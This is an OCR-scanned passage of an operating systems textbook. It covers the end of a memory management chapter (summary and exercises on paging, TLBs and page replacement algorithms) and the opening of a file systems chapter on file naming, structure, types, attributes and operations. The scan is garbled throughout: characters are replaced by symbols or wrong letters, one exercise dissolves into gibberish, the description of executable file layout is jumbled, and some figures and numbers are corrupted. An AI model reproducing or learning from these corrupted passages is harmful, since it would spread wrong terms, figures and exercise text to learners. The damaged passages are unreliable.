Research is also taking place on modeling paging performance (Albers et aI., 
2002; Burton and Kelly, 2003; Cascaval et aI., 2005; Panagiotou and Souza, 2006; 
and Peseri

.
co, �003). Also of interest is memory management for multimedia sys

tems (Daslgems et aI., 2001 ;  Hand, 1999) and real-time systems (Pizlo and Vitek 
2006). 

' 
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3.9 SUMMARY 

In this chapter we have examined memory management. We saw that the 
simplest systems do not swap or page at all. Once a program is loaded into mem
ory, it remains there in place until it finishes. Some operating systems allow only 
one process at a time in memory, while others support multiprogramming. 

The next step up is swapping. When swapping is used, the system can handle 
more processes than it has room for in memory. Processes for which there is no 
room are swapped out to the disk. Free space in memory and on disk can be kept 
track of with a bitmap or a hole list. 

Modem computers often have some form of virtual memory. In the simplest 
form, each process' address space is divided up into uniform-sized blocks called 
pages, which can be placed into any available page frame in memory. There are 
many page replacement algorithms; two of the better algorithms are aging and 
WSCloek. 

Paging systems can be modeled by abstracting the page reference string from 
the program and using the same reference string with different algorithms. These 
models can be used to make some predictions about paging behavior. 

To make paging systems work well, choosing an algorithm is not enough; 
attention to such issues as determining the working set, memory allocation policy, 
and page size is required. 

Segmentation helps in handling data structures that change size during execu
tion and simplifies linking and sharing. It also facilitates providing different pro
tection for different segments. Sometimes segmentation and paging are combined 
to provide a two-dimensional virtual memory. The MULTICS system and the 
Intel Pentium support segmentation and paging. 

PROBLEMS 

1. The IBM 360 had a scheme of locking 2-KB blocks by assigning each one a 4-bit key 
and having the CPU compare the key on every memory reference to the 4-bit key in 
the PSW. Name twO drawbacks of this scheme not mentioned in the text. 

2. In Eg. 3-3 the base and limit registers contain the same value, 16,384. Is this just an 
accident, or are they always the same? If this is just an accident, why are they the 
same in this example? 

3. A swapping system eliminates holes by compaction. Assuming a random distribution �\ ���� �Q\�l �UU IlI�U1 �U\U �'b!l\vn\& aau a time to read or write a 32-bit ��mory 
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4. Consider a swapping system in which memory consists of the following hole sizes in 
memory order: 10 KB, 4 KB, 20 KB, 18 KB, 7 KB, 9 KB, 12 KB, and 15 KB. Which 
hole IS taken for successive segment requests of 

(a) 12 KB 
(b) 10  KB 
(c) 9 KB 

for first fit? Now repeat the question for best fit, worst fit, and next fit. 

5. What is the difference between a physical addreSS and a virtual address? 

6. Using the 
.
page

. 
table of Fig. 3-9, give the physical address corresponding to each of 

the folioWlOg Virtual addresses: 

(a) 20 
(b) 4100 
(c) 8300 

7. !he amount of disk space that must be available for page storage is related to the max
Imum number of processes, n, the �umber of bytes in the virtual address space, v, and 
th� number of bytes �f �M, :. Give an expression for the worst-case disk space re
qUIrements. How realIstIc IS thIS amount? 

8. If an instruction ta.kes
.
1O nse� and a page fault takes an additional n nsec, give a for

mula for the effectIve mstructlon time if page faults occur every k instructions. 

9. A machine h�s a 32-bit a?dress space and an 8-KB page. The page table is entirely in 
har�ware, With one 32-blt word per entry. When a process starts, the page table is 
copied to the hard�are f�om memory, at one word every 100 nsec. If each process 
�ns �or 100 msec (mc1udlOg the time to load the page table), what fraction of the CPU 
time IS devoted to loading the page tables? 

10. Suppose that a machine has 48-bit virtual addresses and 32-bit physical addresses. 

(a) If pages are.4 KB, how many entries are in the page table if it has only a sinaie--
level? ExplalO. 

eo 

(b) S�ppose this same system has a liB (Translation Lookaside Buffer) with 32 en
tnes. Fu�errnore, s�ppose that a program contains instructions that fit into one 
page and It sequentially reads long integer elements from an array that spans 
thousands of pages. How effective will the TLB be for this case? 

11. A �o:nputer w�th a 32-bit address uses a two-level page table. Virtual addresses are 
spIlt lOto a 9-blt top-level page table field, an 1 I-bit second-level page table field, and 
an offset. How large are the pages and how many are there in the address space? 

12. Suppose that a 32-bit virtual address is broken up into four fields,_ a, b, c, and d. The 
first three are used for a three-level page table system. The fourth field, d, is the offset. 
Does the num?er of pages depend on the sizes of all four fields? If not, which ones 
matter and which ones do not? 

13. A. com-puter nas 3'2-bit virtual addresses and 4-KB pages. The program and data toget
be! f1t in the lowest -page <..Q-4(95) The stack fIts in the highest page. How many en-
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tries arc needed in the page table if traditional (one�level) paging is used? How many 
page table entries are needed for two-level paging, with 10 bits in each part? 

14. Below is an execution trace of a program fragment for a computer with 5 12-byte 
pages. The program is located at address 1020, and its stack pointer is at 8192 (the 
stack grows toward 0). Give the page reference· string generated by this program. 
Each instruction occupies 4 bytes (l word) including immediate constants. Both in
struction and data references count in the reference string. 

Load word 6144 into register 0 
Push register 0 onto the stack 
Call a procedure at 5120, stacking the return address 
Subtract the immediate constant 16 from the stack pointer 
Compare the actual parameter to the immediate constant 4 
Jump if equal to 5152 

15. A computer whose processes have 1024 pages in their address spaces keeps its page 
tables in memory. The overhead required for reading a word from the page table is 5 
nsec. To reduce this overhead, the computer has a TLB, which holds 32 (virtual page, 
physical page frame) pairs, and can do a look up in 1 nsec. What hit rate is needed to 
reduce the mean overhead to 2 nsec? 

16. The TLB on the V AX does not contain an R bit. Why? 

17. How can the associative memory device needed for a TLB be implemented in hard� 
ware. and what are the implications of such a design for expandability? 

18. A computer with an 8�KB page, a 256�KB main memory, and a 64�GB virtual address 
space uses an inverted page table to implement its virtual memory. How big should 
the hash table be to enSure a mean hash chain length of less than I? Assume that the 
hash table size is a power of two. 

19. A student in a compiler design course proposes to the professor a project of writing a 
compiler that will produce a list of page references that can be used to implement the 
optimal page replacement algorithm. Is this possible? Why or why not? Is there any
thing that could be done to improve paging efficiency at run time? 

20. Suppose that the virtual page reference stream contains repetitions of long sequences 
of page references followed occasionally by a random page reference. For example, 
the sequence: 0, 1 ,  ... , 51 1 , 43 1 ,  0, 1 ,  ... . 5 1 1 , 332, 0, 1 ,  .. _ consists of repetitions of 
the sequence 0, 1,  ... , 51 1  followed by a random reference to pages 431 and 332. 

(a) Why won't the standard replacement algorithms (LRU, FIFO, Clock) be effective 
in handling this workload for a page allocation that is less than the sequence 
length? 

(b) If this program were allocated 500 page frames, describe a page replacement ap
proach that would perform much better than the LRU, FIFO, or Clock algorithms. 

21. If FIFO page replacement is used with four page frames and eight pages, how many 
page faults will occur with the reference string 0172327103 if the four frames are ini� 
tially empty? Now repeat this problem for LRU. 
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22. Consider the page sequence of Fig. 3�15(b). Suppose that the R bits for the pages B 
through A are 11011011,  respectively. Which page will second chance remove? 

23. A small �omputer has four page frames. At the first clock tick, the R bits are 0 1 1 1  
(page 0 IS 0 ,  the rest are 1). A t  subsequent clock ticks, the values are 1 0 1 1 ,  1010, 
1101, 0010, 1010, 1 100, and OOOL If the aging algorithm is used with an 8-bit count� 
er, give the value$ of the four counters after the last tick. 

24. Suppose that 't = 400 in Fig. 3-20. Which page will be removed? 

25. Give a simple �xamp�e of a page reference sequence where the first page selected for 
replacement Will be ?lfferent for the clock and LRU page replacement algorithms. As� 
sume that a process IS allocated 3 frames, and the reference string contains page num� 
bers from the set O. 1, 2,3. 

26. Suppose that the WSClock page replacement algorithm uses a 't of two ticks, and the 
system state is the following: . 

Page Time stamp V R M 
0 6 1 0 1 
1 9 1 1 0 
2 9 1 1 1 
3 7 1 0 0 
4 4 0 0 0 

Where the three flag bits stand for Valid, Referenced, and Modified, respectively. 

(a) If a clock interrupt occurs at tick 10, show the contents of the new table entries. 
Explain. (You can omit entries that are unchanged.) 

(b) Suppose that instead of a clock interrupt, a page fault occurs at tick la due to a 
read re?uest �o page 4. Show the contents of the new table entries. Explain. (You 
can omIt entnes that are unchanged.) 

27. �ow long does it take to load a 64�KB program from a disk whose average seek time 
IS 10 msec, whose rotation time is 10 msec, and whose tracks hold 32 KB 

(a) for a 2-KB page size? 
(b) for a 4�KB page size? 

The pages are spread randomly around the disk and the number of cylinders is so large 
that the chance of two pages being on the same cylinder is negligible. 

28. A comp�ter has four page frames. The time of loading, time of last access, and the R 
and M bIts for each page are as shown below (the times are in clock ticks); 

Page Loaded Last ref. R M 
0 126 280 1 0 
1 230 265 0 1 
2 140 270 0 0 
3 1 1 0  285 1 1 
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(a) Which page will NRU replace? 
(b) Which page will FIFO replace? 
(c) Which page will LRU replace? 
(d) Which page will second chance replace? 

CHAP. 3 

29. One of the first timesharing machines, the PDP-I, had a memory of 4K I8-bit words. 
It held one process at a time in memory. When the scheduler decided to run another 
process, the process in memory was written to a paging drum, with 4K 18-bit words 
around the circumference of the drum. The drum could start writing (or reading) at 
any word, rather than only at word O. Why do you suppose this drum was chosen? 

30. A computer provides each process with 65,536 bytes of address space divided into 
pages of 4096 bytes. A particular program has a text size of 32,768 bytes, a data size 
of 16,386 bytes, and a stack size of 15,870 bytes. Will this program fit in the address 
space? If the page size were 512 bytes, would it fit? Remember that a page may not 
contain parts of two different segments. 

31. If a page is shared between two processes, is it possible that the page is read-only for 
one process and read-write for the other? Why or why not? 

32. It has been observed that the number of instructions executed between page faults is 
directly proportional to the number of page frames allocated to a program. If the 
available memory is doubled, the mean interval between page faults is also doubled. 
Suppose that a normal instruction takes 1 microsec, but if a page fault occurs, it takes 
2001 )lsec (Le., 2 msec to handle the fault). If a program takes 60 sec to run, during 
which time it gets 15,000 page faults, how long would it take to run if twice as much 
memory were available? 

33. A group of operating system designers for the Frugal Computer Company are thinking 
about ways to reduce the amount of backing store needed in their new operating sys
tem. The head guru has just suggested not bothering to save the program text in the 
swap area at all, but just page it in directly from the binary file whenever it is needed. 
Under what conditions, if any, does this idea work for the program text? Under what 
conditions, if any, does it work for the data? 

34. A machine language instruction to load a 32-bit word into a register contains the 32-
bit address of the word to be loaded. What is the maximum number of page faults this 
instruction can cause? 

35. Explain the difference between internal fragmentation and external fragmentation. 
Which one occurs in paging systems? Which one occurs in systems using pure seg� 
mentation? 

36. When segmentation and paging are both being used, as in MULTICS, first the seg
ment descriptor must be looked up, then the page descriptor. Does the TLB also work 
this way, with twO levels of lookup? 

37. We consider a program which has the two segments shown below consisting of in
structions in segment 0, and read/write data in segment 1 . Segment 0 has read/execute 
protection, and segment 1 has read/write protection. The memory system is a de
mand-paged virtual memory system with virtual addresses that have a 4�bit page nUffi-
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38. 

39. 

40. 

41. 

ber, and an l?-bit �ffset. The page tables and protection are as follows (all numbers in 
the table are In deCImal): 

Segment 0 Segment 1 

Read/Execute ReadlWrite 

Virtual Page # Page frame # Virtual Page # Page frame # 

0 2 0 On Disk 
1 On Disk I 1 14 
2 1 1  2 9 
3 5 3 6 
4 On Disk 4 On Disk 
5 On Disk 5 13 
6 4 6 8 
7 3 7 12 

For each of the fo�lowing cases, either give the real (actual) memory address which re
sults from dynatnlc address translation or identify the type of fault which occurs (ei
ther page or protection fault). 
(a) Fetch from segment 1, page 1, offset 3 
(b) Store into segment 0, page 0, offset 16 
(c) Fetch from segment 1 , page 4, offset 28 
Cd) Jump to location in segment 1 , page 3, offset 32 

Can you think of any �ituations where supporting virtual memory would be a bad idea, 
and what would be gamed by not having to support virtual memory? Explain. 
Virtual memory provides a mechanism for isolating one process from another. What 
memory management difficulties

. 
would be involved in allowing two operating sys

tems to run concurrently? How Iillght these difficulties be addressed? 

Plot a histogram and calc�late the mean and median of the sizes of executable binary 
files on a computer to WhICh you have access. On a Windows system, look at all .exe 
and .dB

. 
files; on a UN!::' system look at all executable files in /bin, /usrlhin, and l1oca�tn that are ?ot scnpt� (or use the file utility to find all executables). Determine 

�he optImal page sI�e for thIS computer just considering the code (not data). Consider 
mten:al fragmentatron and page table size, making some reasonable assumption about 
the SIZe of a page table entry. Assume that all programs are equally likely to be run 
and thus should be weighted equally. 
Small programs for MS-I?OS c�n be compiled as .COM files. These files are always 
loaded at add�ess Oxl00 m a smgle memory segment that is used for code, data, and 
stack. In�tructions that transfer control of execution, such as JMP and CAll, or that ac
ces� statIc data from fixed addresses have the addresses compiled into the object code. 
Wnte a program that can relocate such a program fIle to run starting at an arbitrary ad
dress. Your program must scan through code looking for object codes for instructions 
that refer to fixed memory addresses, then mOdify those addresses that point to memo
ry locations within the range to be relocated. You can find the object codes in an as-
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sembly language programming text. Note that doing this perfectly without additional 
information is, in general, an impossible task, because some data words may have 
values that mimic instruction object codes. 

42. Write a program that simulates a paging system using the aging algorithm. The num
ber of page frames is a parameter. The sequence of page references should be read 
from a file. For a given input file, plot the number of page faults per 1000 memory ref
erences as a function of the number of page frames available. 

43. Write a program that demonstrates the effect of TLB misses on the effective memory 
access time by measuring the per-access time it takes to stride through a large array. 
(a) Explain the main concepts behind the program, and describe what you expect the 

output to show for some practical virtual memory architecture. 
(b) Run the program on some computer and explain how well the data fit your expec

tations. 
(c) Repeat part (b) but for an older computer with a different architecture and explain 

any major differences in the output. 
44. Write a program that will demonstrate the difference between using a local page 

replacement policy and a global one for the simple case of two processes. You will 
need a routine that can generate a page reference string based on a statistical model. 
This model has N states numbered from 0 to N-l representing each of the possible 
page references and a probability P I associated with each state i representing the 
chance that the next reference is to the same page. Otherwise, the next page reference 
will be one of the other pages with equal probability. 
(a) Demonstrate that the page reference string generation routine behaves properly for 

some small N. 
(b) Compute the page fault rate for a small example in which there is one process and 

a fixed number of page frames. Explain why the behavior is correct. 
(c) Repeat part (b) with two processes with independent page reference sequences and 

twice as many page frames as in Part (b). 
(d) Repeat part (c) but using a global policy instead of a local one. Also, contrast the 

per-process page fault rate with that of the local policy approach. 

4 
FILE SYSTEMS 
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disks more in Chap. 5, but for the moment, it i� sufficient to �hink of a disk as a 
linear sequence of fixed-size blocks and supportmg two operatIOns: 

1. Read block k. 

2. Write block k 

In reality there are more, but with these two operations one could, in principle, 
solve the long-term storage problem. 

. . 
However, these are very inconvenient op�ratlOns, espeCially on large systems 

used by many applications and possibly multlple users (e.g., on a server). Just a 
few of the questions that quickly arise are: 

1. How do you find infonnation? 

2. How do you keep one user from reading another user's data? 

3. How do you know which blocks are free? 

and there are many more. 
Just as we saw how the operating system abstracted away the concept of the 

processor to create the abstraction of a process and how it abstracted away the 
concept of physical memory to offer processes (virtual) address spaces, �e can 
solve this problem with a new abstraction: the file. Together, the abstractlons of 
processes (and threads), address spaces, and files are the most important concepts 
relating to operating systems. If you really understand �ese three co�cepts from 
beginning to end, you are wen on your way to becommg an operatmg systems 
expert. 

. k '11 1 Files are 10llical units of information created by processes. A dIS WI usua -

ly contains tho;sands or even millions of them, each one independent of the oth

ers. In fact if you think of each file as a kind of address space, you are not that 

far off, exc�pt that they are used to model the disk instead �f modeling the RA�. 
Processes can read existing files and create new ones if need be. Info:matlOn 

stored in files must be persistent, that is, not be affected by process creatIon a�d 

termination. A fIle should only disappear when its owner explicitly removes It. 

Although operations for reading and writing files are the most cornman ones, 

there exist many others, some of which we will examine below. 
Files are managed by the operating system. How they ar� struct�re�, named, 

accessed, used, protected, implemented, and managed are major tOpICS 10 
.
operat

ing system design. As a whole, that part of the op�rating system dealing WIth files 
is known as the file system and is the subject of thIS chapter. 

. From the user's standpoint, the most important aspect of a file system IS how 
it appears, that is, what constitutes a file, how files are named and pr?tected� what 
operations are allowed on files, and so on. The details of whether hnked lIst� or 
bitmaps are used to keep track of free storage and how many sec

.
tors there are III a 

logical disk block are of no interest, although they are of great Importance to the 
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designers of the file system. For this reason, we have structured the chapter as 
several sections. The first two are concerned with the USer interface to files and 
directories, respectively. Then comes a detailed discussion of how the file system 
is implemented and managed. Finally, we give some examples of real file sys
tems. 

4.1 FILES 

In the following pages we will look at files from the user's point of view, that 
is, how they are used and what properties they have. 

4.1.1 File Naming 

Files are an abstraction mechanism. They provide a way to store information 
on the disk and read it back later. This must be done in such a way as to shield 
the user from the details of how and where the information is stored, and how the 
disks actually work. 

Probably the most important characteristic of any abstraction mechanism is 
the way the objects being managed are named, so we will start our examination of 
file systems with the subject of file naming. When a process creates a fire, it gives 
the file a name. When the process tenninates, the file continues to exist and can 
be accessed by other processes using its name. 

The exact rules for file naming vary somewhat from system to system, but all 
current operating systems anow strings of one to eight letters as legal file names. �hus andrea, bruce, and cathy are possible file names. Frequently digits and spe
CIal characters are also permitted, so names like 2, urgent!, and Ffg.2-l4 are often 
valid as well. Many file systems support names as long as 255 characters. 

Some file systems distinguish between upper and lower case letters, whereas 
others do not. UNIX falls in the first category; MS-DOS falls in the second. Thus a 
UNIX system can have all of the following as three distinct files: maria, Maria, 
and MARIA. In MS-DOS, all these names refer to the same file. 

An aside on file systems is probably in order here. Windows 95 and Windows 
98 bot� use the MS-DOS file system, called FAT-16, and thus inherit many of its 
properttes, such as how file names are constructed. Windows 98 introduced some 
extensions to FAT-16, leading to FAT-32, but these two are quite similar. In ad
dition, Windows NT, Windows 2000, Windows XP, and .WV support both FAT 
file systems, which are really obsolete now. These four NT-based operating sys
tems have a native file system (NTFS) that has different properties (such as file 
names in Unicode). In this chapter, when we refer to the MS-DOS or FAT file 
systems, we mean FAT -16 and FAT -32 as used on Windows unless specified 
otherwise. We will discuss the FAT file systems later in this chapter and NTFS in 
Chap. 1 1 ,  where we will examine Windows Vista in detail. 
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Many operating systems support two�part file names, wi� th: two parts sepa
rated by a period, as in prog.c. The part following the penod IS called the file 
extension and usually indicates something about the file. In MS-DOS, for ex
ample, file names are 1 to 8 characters, plus an optional extension of 1 to 3 char'
acters. In UNIX, the size of the extension, if any, is up to the user, and a 

,
fil: may 

even have two or more extensions, as in homepage.html.zip, where .html mdlcates 
a Web page in HTML and .zip indicates that the file (homepage.html) �s been 
compressed using the zip program. Some of the more common file extensIOns and 
their meanings are shown in Fig. 4- 1 .  

Extension Meaning 

file.bak Backup file 

file.c C source program 

ffle.gif Compuserve Graphical Interchange Format image 

file.hlp Help file 

We.html World Wide Web HyperText Markup Language document 

ffie.jpg Still picture encoded with the JPEG standard 

file.mp3 Music encoded in MPEG layer 3 audio fonnat 

file.mpg Movie encoded with the MPEG standard 

1ile.o Object file (compiler output, not yet Hnked) 

file.pdf , Portable Document Format file 

file.ps PostScript f1!e 

file.tex Input for the TEX formatting program 

file.txt General text file 

file.zip Compressed archive 

Figure 4·L Some typical file extensions. 

In some systems (e.g., UNIX), file extensions are just
. 
conventions �d are not 

enforced by the operating system. A file named file. txt ITIlght be some kind <:f text 
fIle but that name is more to remind the owner than to convey any actual mfor
ma�ion to the computer. On the other hand, a C compiler may actually insist that 
files it is to compile end in .c, and it may refuse to compile them if they do not 

Conventions like this are especially useful. when the same program can handle 
several different kinds of files. The C compiler, for example, can be given a list of 
several files to compile and link together, some of them C files and some of them 
assembly language files. The extension then becomes e�sential for the compiler to 
tell which are C files, which are assembly files, and WhICh are other files. 

In contrast Windows is aware of the extensions and assigns meaning to them. 
Users (or proc;sses) can register extensions with the operating system and �pecify 
for each one which program «owns" that extension. When a user double clicks on 
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a file name, the program assigned to its file extension is launched with the file as parameter. FOI� ��ample, double clicking on file.doc starts Microsoft Word with file. doc as the lllitlal file to edit 

4.1.2 File Structure 

,
Files 

.
can ?e Structured in any of several ways. Three common possibilities are depIcted m hg, 4-2.

, 
The file in Fig. 4-2(a) is an unstructured sequence of bytes. In effect, the operatmg system does not know or care what is in the file. All it sees are bytes. Any meaning must be imposed by user-level programs. Both UNIX and Windows use this approach. 

(a) 

1 Byte 1 Record 

(b) 
(e) 

Figure 4�2. Three kinds of files. (a) Byte sequence. (b) Record sequence. (c) Tree. 

�aving the o�erating sy�t�� regard files as nothing more than byte sequences pr0.vIdes the maxImum fleXIbIlity. User programs can put anything they Want in thel[ files and
. 
name them any way that is convenient The operating system does n�t help. but It also does not get in the way. For users who want to do unusual things, the l�tter can be very important. All versions of UNIX, MS-DOS, and Windows use thIS file modeL 

The frrst step up in structure is shown in Fig. 4-2(b). In this model, a file is a sequence of fixed-length records, each with some internal structure. Central to the idea of a file being a s
.
equence ?f records is the idea that the read operation returns one recor� and the wnte operatlOn overwrites or appends one record. As a historical �ote, m decade� gone by, when the 8?-column punched card was king, many (mamframe) operatmg systems based theIr file systems on files consisting of 80-character records, in effect, card images. These systems also supported files of 
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132-character records, which were intended for the line printer (which in those 
days were big chain printers having 132 columns). Programs read input in units 
of 80 characters and wrote it in units of 132 characters, although the final 52 could 
be spaces, of course. No current general-purpose system uses this model as its 
primary file system any more, but back in the days of 80�column punched cards 
and 132-character line printer paper this was a common model on mainframe 
computers. 

The third kind of file structure is shown in Fig. 4-2(c). In this organization, a 
file consists of a tree of records, not necessarily a11 the same length, each con
taining a key field in a fixed position in the record. The tree is sorted on the key 
field, to allow rapid searching for a particular key. 

The basic operation here is not to get the "next" record, although that is also 
possible, but to get the record with a specific key. For the zoo file of Fig. 4-2(c), 
one could ask the system to get the record whose key is pony, for example, with
out worrying about its exact position in the file. Furthermore, new records can be 
added to the file, with the operating system, and not the user, deciding where to 
place them. This type of file is clearly quite different from the unstructured byte 
streams used in UNIX and Windows but is widely used on the large mainframe 
computers still used in some commercial data processing. 

4.1.3 File Types 

Many operating systems support several types of files. UNIX and Windows, 
for example, have regular files and directories. UNIX also has character and block 
special files. Regular files are the ones that contain user information. All the 
files of Fig. 4-2 are regular files. Directories are system files for maintaining the 
structure of the file system. We will study directories below. Character special 
files are related to input/output and used to model serial I/O devices, such as ter
minals, printers, and networks. Block special files are used to model disks. In 
this chapter we will be primarily interested in regular files. 

Regular files are generally either ASCn files or binary files. ASCn files con
sist of lines of text. In some systems each line is terminated by a camage return 
character. In others, the line feed character is used. Some systems (e.g., MS
DOS) use both. Lines need not all be of the same length. 

The great advantage of ASCII files is that they can be displayed and printed 
as is, and they can be edited with any text editor. Furthennore, if large numbers of 
programs use ASCII files for input and output, it is easy to connect the output of 
one program to the input of another, as in shell pipelines. (The interprocess 
plumbing is not any easier, but interpreting the infonnation certainly is if a stan
dard convention, such as ASCIL is used for expressing it) 

Other files are binary, which just means that they are not ASCn files. Listing 
them on the printer gives an incomprehensible listing full of random junk. Usual
ly, they have some internal structure known to programs that use them. 
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For exam�le, in Fig. 4-3(a) We see a simple executable binary file taken from an early verSIOn. of UNIX. Although technically the file is just a se uence of b
h
Yte

jj
s, the o�eratmg system will only execute a file if it has the proper format It as lve sectIOns' header te t d I . . . 

. 
. , x , ata, re OcatIOn bIts, and symbol table The h d starts WIth a so-called rna . b 'd "  

. ea er 
. gIc num er, 1 entlfymg the file as an executable file (to prevent the aCCIdental execution of a file not in this fonnat) Then co th . 

of the various piec f th fil h 
. me e SIzes 

fl b' 
. es 0 e I e, t e address at which execution starts and some ag Its. F?llowmg the header are the text and data of the program it�elf. These �re 10

d
a�ed mto m�mory and relocated USing the relocation bits. The symbol table IS use lor debuggmg. 

Text 

Data 

Relocation 
bits 

SYmbol 
table 

(a) 

/ 
Header 

Object 
module 

Header 

Object 
module 

Header 

Object 
module 

(b) 

Figure 4�3. (a) An executable file. (b) An archive. 

Module 
name 

Date 

Owner 
Protection 

Size 

Our se�ond ex�mple of a binary file is an archive, also from UNIX. It consists �f a collectIon of lIbrary p�oce?ures (modules) compiled but not linked. Each one 
s prefaced by a header tellmg Its name, creation date, owner, protection code, and 
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size. Just as with the executable file., the module headers are full of binary num

bers. Copying them to the printer would produce complete gibberish. 

Every operating system must recognize at least one file type: its own ex

ecutable file, but some recognize more. The old TOPS-20 system (for the 

DECsystem 20) went so far as to examine the creation time of any file to be exe

cuted. Then it located the source file and saw if the source had been modified 

since the binary was made. If it had been, it automatically recompiled the source. 

In UNIX terms, the make program had been built into the shell. The file extensions 

were mandatory, so the operating system could tell which binary program was 

derived from which source. 

Having strongly typed files like this causes problems whenever the user does 

anything that the system designers did not expect. Consider, as an example, a sys

tem in which program output files have extension .dat (data files). If a user writes 

a program formatter that reads a .c file (C program), transforms it (e.g., by con

verting it to a standard indentation layout), and then writes the transformed file as 

output, the output file will be of type .dat. If the user tries to offer this to the C 

compiler to compile it, the system will refuse because it has the wrong extension. 

Attempts to copy file.dat to file.c will be rejected by the system as invalid (to pro

tect the user against mistakes). 

While this kind of "user friendliness" may help novices, it drives experienced 

users up the wall since they have to devote considerable effort to Circumventing 

the operating system's idea of what is reasonable and what is not. 

4.1.4 File Access 

Early operating systems provided only one kind of file access: sequential 
access. In these systems, a process could read all the bytes or records in a file in 
order, starting at the beginning, but could not skip around and read them out of 
order. Sequential files could be rewound, however, so they could be read as often 
as needed. Sequential files were convenient when the storage medium was mag
netic tape rather than disk. 

When disks came into use for storing files, it became possible to read the 
bytes or records of a file out of order, or to access records by key rather than by 
position. Files whose bytes or records can be read in any order are called random 
access files. They are required by many applications. 

Random access files are essential for many applications, for example, data
base systems. If an airline customer calls up and wants to reserve a seat on a par
ticular flight, the reservation program must be able to access the record for that 
flight without having to read the records for thousands of other flights first. 

Two methods can be used for specifying where to start reading. In the first 
one, every read operation gives the position in the file to start reading at. In the 
second one, a special operation, seek, is provided to set the current position. After 
a seek, the file can be read sequentially from the now-current position. The latter 
method is used in UNIX and Windows. 
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4.1.5 File Attributes 

E:ery file ?as a ?ame and its data. In addition, all operating systems associate �������orrnatlOn WIt? e�ch file, fo: example, the date and time the file was last 
and the file s SIze. We WIll call these extra items the file's attributes 

Some people call them metadata. The list of attributes varies considerably fro� 
system to system. The table of Fig. 4-4 shows some of the poss 'b']'" b th 
ones also 

. 
t N ' 

. 1 1 lues, ut 0 er 
eXlS . 0 eXIstmg system has all of these, but each one is present in 

some system. 

Attribute Meaning 
Protection Who can access the file and in what way 
Password Password needed to access the me 
Creator l D  of the person who created the file 
OWner Current owner 

Read-only flag o for read/write; 1 for read only 

Hidden flag o for nonnal; 1 for do not display in listings 
System flag o for normal files; 1 for system file 

Archive flag o for has been backed up; 1 for needs to be backed up 
ASClI/binary flag o for ASCI! file; 1 for binary fi'le 

Random access flag o for sequential access only; 1 for random access 

Temporary flag o for normal; 1 for delete file on process exit 

Lock flags o for unlocked; nonzero for locked 

Record length Number of bytes in a record 

Key position Offset of the key within each record 
Key length Number of bytes in the key field 

Creation time Date and time the file was created 

TIme of last acCess Date and time the file was last accessed 

Time of last change Date and time the tHe was last changed 

Current size NUmber of bytes in the file 

Maximum size Number of bytes the file may grow to 

Figure 4-4. Some possible file attributes. 

. 
The first four attributes relate to the file's protection and tell who may access 

It and who may not. All kinds of schemes are possible, some of which we will 
stu�y later. In some systems the user must present a password to aCcess a file in 
whIch case the password must be one of the attributes. 

' 

. 
The flags are bits or short fields that control or enable some specific property. 

Hidden files, for example, do not appear in listings of all the files. The archive 
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flag is a bit that keeps track of whether the file has been backed up recently. The 
backup program clears it, and the operating system sets it whenever a file is 
changed In this way, the backup program can tell which files need backing up. 
The temporary flag allows a file to be marked for automatic deletion when the 
process that created it terminates. 

The record length, key position, and key length fields are only present in files 
whose records can be looked up using a key. They provide the infonnation re
quired to find the keys. 

The various times keep track of when the file was created, most recently ac
cessed, and most recently modified. These are useful for a variety of purposes. 
For example, a source file that has been modified after the creation of the corres
ponding object file needs to be recompiled. These fields provide the necessary 
information. 

The current size tells how big the file is at present. Some old mainframe oper
ating systems require the maximum size to be specified when the file is created, in 
order to let the operating system reserve the maximum amount of storage in ad
vance. Workstation and personal computer operating systems are clever enough to 
do without this feature. 

4.1.6 File Operations 

Files exist to store information and allow it to be retrieved later. Different sys
tems provide different operations to anow storage and retrieval. Below is a dis
cussion of the most common system calls relating to files. 

1 .  Create. The file is created with no data. The purpose of the call is to 
announce that the file is coming and to set some of the attributes. 

2. Delete. When the file is no longer needed, it has to be deleted to free 
up disk space. There is always a system call for this purpose. 

3. Open. Before using a file, a process must open it. The purpose of the 
open call is to allow the system to fetch the attributes and list of disk 
addresses into main memory for rapid access on later calls. 

4. Close. When all the accesses are finished, the attributes and disk ad
dresses are no longer needed, so the file should be closed to free up 
internal table space. Many systems encourage this by imposing a 
maximum number of open files on processes. A disk is written in 
blocks, and closing a file forces writing of the file's last block, even 
though that block may not be entirely full yet. 

S. Read. Data are read from file. Usually, the bytes come from the CUf
rent position. The caller must specify how many data are needed and 
must also provide a buffer to put them in. 
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6. �rite. Data are written to the file again, usually at the current posi
�lon. If the current positio� is the end of the file, the file's size 
Increases. If th� current posItion is in the middle of the file, existing 
data are overwntten and lost forever. 

7. Append. This call is a restricted form of write. It can only add data 
to the end of the file. Systems that provide a minimal set of system 
caIls do not ge�erally have append, but many systems provide multi
ple ways of domg the same thing, and these systems sometimes have 
append. 

S. Seek. For random access files, a method is needed to specify from 
where to t�e the data. On� COmmon approach is a system call, seek, 
th�t reposItIOns the fil.e pomter to a specific place in the file. After 
thIS. �

all has completed, data can be read from, or written to that 
posItIOn. ' 

9. Get attributes. Processes often need to read file attributes to do thei 
work. For example the UNIX k '  

r 
, rna e program IS commonly used to 

manage software development projects consisting of many Source 
files. When make is called, it examines the modification times of all 
the s�ur�e and ob�ect files .and arranges for the minimum number of 
compIlations reqUlr�d to bnng everything up to date. To do itsjob, it 
must look at the attnbutes, namely, the modification times. 

10. Set attributes. Some of the attributes are user settable and can be 
chan.ged after the file .has been created. This system call makes that 
pOSSIble. The protection mode infonnation is an obvious example. 
Most of the flags also faU in this category. 

1 1 .  Rename: !t frequently happens that a user needs to change the name 
of an ex�stmg file. This system call makes that possible. It is not al
ways stnc�ly necessary, because the file can usually be copied to a 
new file WIth the new name, and the old file then deleted. 

4.1.7 An Example Program Using File System Calls 
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� this section we will examine a simple UNIX proo-ram that copies one file 
from Its source file to a destination file It is listed in Fig 4 5 Th 
minimal functionality and even worse 

"
error reporting b 

·
t 
.-
,.
' . e program has 

. de f h f h 
' U I gIves a reasonable 

1 a 0 ow some 0 t e system calls related to files work .' 
The program, copyJi-le, can be called, for example, by

' 
the command line 

copyfile abc xyz 

to copy the file abc to xyz. If xyz already exists, it will be overwritten. Otherwise, 



264 FILE SYSTEMS CHAP. 4 

1* File copy program. Error checking and reporting is minimal. */ 

#include <sysltypes.h:> 
#include <fcntLh> 
#include <stdlib.h> 
#include <unistd.h> 

1* include necessary header files */ 

int main(!nt argc, char *argvO); /* ANSI prototype */ 

#define BUF _SIZE 4096 
#deflne OUTPUT _MODE 0700 

/* use a buffer size of 4096 bytes */ 
{* protection bits for output file */ 

int main(int argc, char *argv[]) 
{ 

